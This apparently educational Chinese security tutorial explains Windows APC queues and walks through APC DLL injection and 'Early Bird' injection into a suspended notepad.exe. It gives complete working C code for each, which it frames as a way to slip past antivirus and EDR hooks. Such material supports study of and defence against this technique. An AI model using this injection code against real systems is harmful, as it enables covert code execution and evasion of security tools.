APC 与 Early Bird注入

admin 2025年3月14日23:03:39评论7 views字数 7155阅读23分51秒阅读模式

1

APC介绍

1.1 定义

根据 MSDN 上的定义, APC(Asynchronous Procedure Call 异步过程调用)是在特定线程的上下文中异步执行的函数。具体来说,每个 APC 函数是与特定线程相关联的,每个线程有 APC 队列,存储着 APC 函数。但这并不是说线程被创建和执行了, APC 就一定会被调用。一般情况下,用户态线程调用 APC 函数要具备两个条件:

◆线程的 APC 队列不为空,存有可供调用的APC函数;

◆线程处于可警告(Alertable)状态;

(本文暂不讨论内核态的 APC)

1.2 线程何时处于可警告的状态

线程在调用SleepExSignalObjectAndWaitMsgWaitForMultipleObjectsExWaitForMultipleObjectsExWaitForSingleObjectEx函数时进入可警告状态。

1.3 如何手动增加 APC 函数

与用户态APC相关的函数只有一个:QueueUserAPCQueueUserAPC函数允许将一个用户定义的函数添加到指定线程对应的APC队列中。

DWORD QueueUserAPC(
[in] PAPCFUNC pfnAPC, //指向一个APC函数
[in] HANDLE hThread, //将要插入APC的线程句柄,句柄必须具有 THREAD_SET_CONTEXT 访问权限。
[in] ULONG_PTR dwData //APC函数的参数
);
//如果该函数成功,则返回值为非零值。如果函数失败,则返回值为零。

1.4 APC 的执行顺序

先进先出,即先被加入 APC 队列的函数会在线程处于可警告状态时,会先被执行。下面有一个小的测试程序。

#include <stdio.h>
#include <windows.h>

// APC 函数
VOID CALLBACK MyAPCProc1(ULONG_PTR dwParam) {
printf("MyAPCProc1已被调用: %lun", dwParam);
}

VOID CALLBACK MyAPCProc2(ULONG_PTR dwParam) {
printf("MyAPCProc2已被调用: %lun", dwParam);
}

int main() {
// 获取当前线程的 ID
DWORD threadId = GetCurrentThreadId();
// 打开当前线程 (实际上不需要打开,GetCurrentThreadId() 已经给我们了句柄)
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT, FALSE, threadId);
if (hThread == NULL) {
fprintf(stderr, "线程打开失败: %lun", GetLastError());
return 1;
}

// 将 APC 排队到当前线程
DWORD result1 = QueueUserAPC(MyAPCProc1, hThread, 123); // 123 是传递给 MyAPCProc1 函数的参数
if (result1 == 0) {
fprintf(stderr, "MyAPCProc1加入APC队列失败: %lun", GetLastError());
CloseHandle(hThread);
return 1;
}
printf("函数MyAPCProc1已被被加入到线程的APC队列中。n");
DWORD result2 = QueueUserAPC(MyAPCProc2, hThread,456); // 456 是传递给 MyAPCProc2 函数的参数
if (result2 == 0) {
fprintf(stderr, "MyAPCProc2加入APC队列失败: %lun", GetLastError());
CloseHandle(hThread);
return 1;
}

printf("函数MyAPCProc2已被被加入到线程的APC队列中。n");
printf("即将进入可警告状态 (SleepEx).n");

// 进入可警告状态 (SleepEx), 这是 APC 执行所必需的
SleepEx(INFINITE, TRUE); // TRUE 表示进入可警告状态

// 即使线程进入可警告状态,APC函数也可能还未完成
CloseHandle(hThread);
printf("退出主线程n");
return 0;
}

运行结果如下图所示:

APC 与 Early Bird注入

如果删掉SleepEx(INFINITE, TRUE),线程不处于可警告状态, 那么两个 APC 函数就不会被调用,运行结果如下图所示:

APC 与 Early Bird注入

2

APC注入

2.1 原理

APC注入是利用Windows的异步过程调用机制 APC,将代码注入到目标线程的APC队列。当线程进入可警告状态(如调用SleepEx)时,系统会执行APC队列中的函数,从而实现代码注入。

2.2 被注入程序

将下面代码编译成APCTest.exe程序在主线程启动后,一直处于可警告状态,方便注入。

#include <stdio.h>
#include <Windows.h>

int main()
{
while (1)
{
printf("小心注入rn");
SleepEx(1000, TRUE);
}

return 0;
}

2.3 APC 注入程序

为了让代码简洁一点,就直接根据由 PCHunter 的APCTest.exe进程 PID 获取进程句柄,根据线程 ID 获取线程句柄。

#include <stdio.h>
#include <Windows.h>

int main()
{
//打开进程
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 1111);//根据实际情况获取PID
if (!hProcess)
{
printf("进程打开失败rn");
return -1;
}
//打开线程
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, 2222);//根据实际情况获取线程ID
if (!hThread)
{
printf("打开线程失败rn");
return -1;
}

//获取loadlibraryA
HMODULE hModule = GetModuleHandleA("kernel32.dll");
PVOID func = (PVOID)GetProcAddress(hModule, "LoadLibraryA");
printf("%xrn", func);
system("pause");

//给目标进程申请内存,存dll路径
PUCHAR targetMemory = (PUCHAR)VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!targetMemory)
{
printf("申请内存失败rn");
return -1;
}
printf("targetMemony :%xrn", targetMemory);
system("pause");

//dll路径
char* dllpath = "C:\Users\finback\Desktop\MyDll.dll";
//给目标进程写内容
if (!WriteProcessMemory(hProcess, targetMemory, dllpath, strlen(dllpath) + 1, NULL))
{
printf("写入失败rn");
return -1;
}

QueueUserAPC((PAPCFUNC)func, hThread, (ULONG_PTR)targetMemory);
system("pausern");
return 0;
}

运行结果如下图所示:

APC 与 Early Bird注入

PCHunter 查看运行的APCTest.exe进程模块中多了注入的 MyDll.dll。

APC 与 Early Bird注入

3

Early Bird 注入

3.1 技术起源

反病毒软件和 EDR 等安全产品通过 Hook 关键的 Windows API(如CreateProcessCreateRemoteThreadLoadLibrary等)来监控和拦截可疑的代码注入行为。为了规避上述安全机制,Early Bird 注入(早鸟注入)应运而生。它的核心目标是在目标进程初始化阶段,安全机制尚未完全加载或生效时,完成代码注入。伊朗黑客组织 APT33 利用该项注入技术将 TrunedUp 恶意软件植入受感染系统内部,并绕过反病毒软件工具。2018年4月11日,网络安全公司 Cyberbit 的研究人员发表了一篇名为 《New ‘Early Bird’ Code Injection Technique Discovered》 的文章,详细分析了 Early Bird 注入的原理和实现。

3.2 原理

Early Bird 注入是指一种利用Windows进程创建机制进行代码注入的技术。其原理是在目标进程的主线程开始执行之前,将代码注入到进程中。

具体步骤包括:

1.以挂起状态(CREATE_SUSPENDED)创建目标进程;

2.在目标进程中分配内存并写入恶意代码;

3.修改主线程的上下文或将写入的恶意代码添加到 APC 队列中;

4.在主线程执行前,执行写入的恶意代码;

5.恢复主线程;

这种方法隐蔽性高,适用于新创建的进程。下面就介绍如何使用APC机制进行Early Bird 注入。

3.3 关键 API

那么问题来了,当线程处于可警告状态时,才会调用 APC 函数。进程刚创建、 线程初始化时也没有调用 SleepEx()之类的函数,线程是不是处于可警告状态呢?

答案是肯定的。

线程初始化时会调用位于内核模块 ntoskrnl.exe 中的PspUserThreadStartup函数,该函数负责初始化用户态线程的上下文,并最终将控制权交给用户态代码,具体来说是函数LdrInitializeThunk。

LdrInitializeThunk调用ntdll中的ZwTestAlert,ZwTestAlert调用KeTestAlertThread。用Source Insight查看WRK中的KeTestAlertThread如下所示:

BOOLEAN KeTestAlertThread (
__in KPROCESSOR_MODE AlertMode
)

{
BOOLEAN Alerted;
KLOCK_QUEUE_HANDLE LockHandle;
PKTHREAD Thread;

ASSERT(KeGetCurrentIrql() <= DISPATCH_LEVEL);

Thread = KeGetCurrentThread();
KeAcquireInStackQueuedSpinLockRaiseToSynch(&Thread->ApcQueueLock,
&LockHandle);
Alerted = Thread->Alerted[AlertMode];
if (Alerted == TRUE) {
Thread->Alerted[AlertMode] = FALSE;

} else if ((AlertMode == UserMode) &&
(IsListEmpty(&Thread->ApcState.ApcListHead[UserMode]) != TRUE)) {

Thread->ApcState.UserApcPending = TRUE;
}
KeReleaseInStackQueuedSpinLock(&LockHandle);
return Alerted;
}

Thread->ApcState.UserApcPending 是一个标志,表示当前线程是否有待处理的用户态 APC。

当这个标志为 TRUE 时,线程会在以下情况下检查并执行 APC:
● 线程从内核态返回到用户态时。
● 线程调用某些允许 APC 执行的系统调用时(如 SleepEx、WaitForSingleObjectEx 等)。

当线程被创建时,其用户态 APC队列理论上为空。然而,在某些情况下,由于内核操作或之前的线程状态,可能会残留APC。ZwTestAlert的功能即是在线程初始化时检查并处理这些残留的APC,执行后清空队列。这一操作确保了线程以可预测的状态启动,避免残留APC对程序执行产生干扰,进而防止潜在的异常、崩溃或安全漏洞。

Early Bird注入正是利用这一机制,在线程初始化阶段注入代码,使注入的代码在主线程开始执行前运行。

3.4 Early Bird 注入程序

#include <stdio.h>
#include <Windows.h>

int main() {
char* dllpath = "C:\Users\finback\Desktop\MyDll.dll";

// 初始化STARTUPINFO和PROCESS_INFORMATION结构
STARTUPINFOA st = { 0 };
PROCESS_INFORMATION prt = { 0 };
st.cb = sizeof(st);

// 以挂起状态创建目标进程(如notepad.exe)
if (!CreateProcessA(
"C:\Windows\System32\notepad.exe", //目标进程路径
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, //创建挂起状态
NULL, NULL, &st, &prt ))
{
printf("无法创建目标进程,错误代码: %dn", GetLastError());
return 1;
}

// 获取目标进程和主线程的句柄
HANDLE victimProcess = prt.hProcess;
HANDLE threadHandle = prt.hThread;

// 在目标进程中分配内存,用于存储Shellcode
PUCHAR shellAddr = (PUCHAR)VirtualAllocEx(
victimProcess, NULL, 0x1000, MEM_COMMIT,
PAGE_EXECUTE_READWRITE // 内存权限:可执行、可读、可写
);
if (shellAddr == NULL) {
printf("无法在目标进程中分配内存,错误代码: %dn", GetLastError());
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}

// 将dll写入目标进程的内存
if (!WriteProcessMemory(
victimProcess, shellAddr, dllpath,
strlen(dllpath) + 1,NULL))
{
printf("无法写入目标进程内存,错误代码: %dn", GetLastError());
VirtualFreeEx(victimProcess, shellAddr, 0, MEM_RELEASE); // 释放内存
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}

HMODULE hModule = GetModuleHandleA("kernel32.dll");
PVOID func = (PVOID)GetProcAddress(hModule, "LoadLibraryA");

// 将APC函数排入目标线程的APC队列
if (!QueueUserAPC(
(PAPCFUNC)func, // APC函数
threadHandle, // 目标线程句柄
(ULONG_PTR)shellAddr // 传递给APC函数的参数
)) {
printf("无法队列APC,错误代码: %dn", GetLastError());
VirtualFreeEx(victimProcess, shellAddr, 0, MEM_RELEASE); // 释放内存
TerminateProcess(victimProcess, 0); // 终止目标进程
CloseHandle(victimProcess);
CloseHandle(threadHandle);
return 1;
}

// 恢复目标线程的执行
ResumeThread(threadHandle);

// 关闭句柄
CloseHandle(victimProcess);
CloseHandle(threadHandle);

printf("注入成功n");
return 0;
}

运行结果如下图所示:

APC 与 Early Bird注入

APC 与 Early Bird注入

需要注意的是,注入的弹窗 DLL 运行后,需要点击“确定”关闭弹窗,记事本的窗口才会出现,这也证明了前面提到的,注入代码会在主线程开始执行前运行。

4

参考文章

  • https://www.secrss.com/articles/2010

  • https://idiotc4t.com/code-and-dll-process-injection/early-bird

  • https://blog.csdn.net/xsinlink/article/details/139360130

  • https://www.cnblogs.com/sumiceBlog/p/17638690.html

  • https://forum.butian.net/share/2224

  • https://www.cyberbit.com/endpoint-security/new-early-bird-code-injection-technique-discovered/

APC 与 Early Bird注入

看雪ID:ZyOrca

https://bbs.kanxue.com/user-home-944427.htm

*本文为看雪论坛文章,由 ZyOrca 原创,转载请注明来自看雪社区

原文始发于微信公众号(看雪学苑):APC 与 Early Bird注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月14日23:03:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   APC 与 Early Bird注入https://cn-sec.com/archives/3841106.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息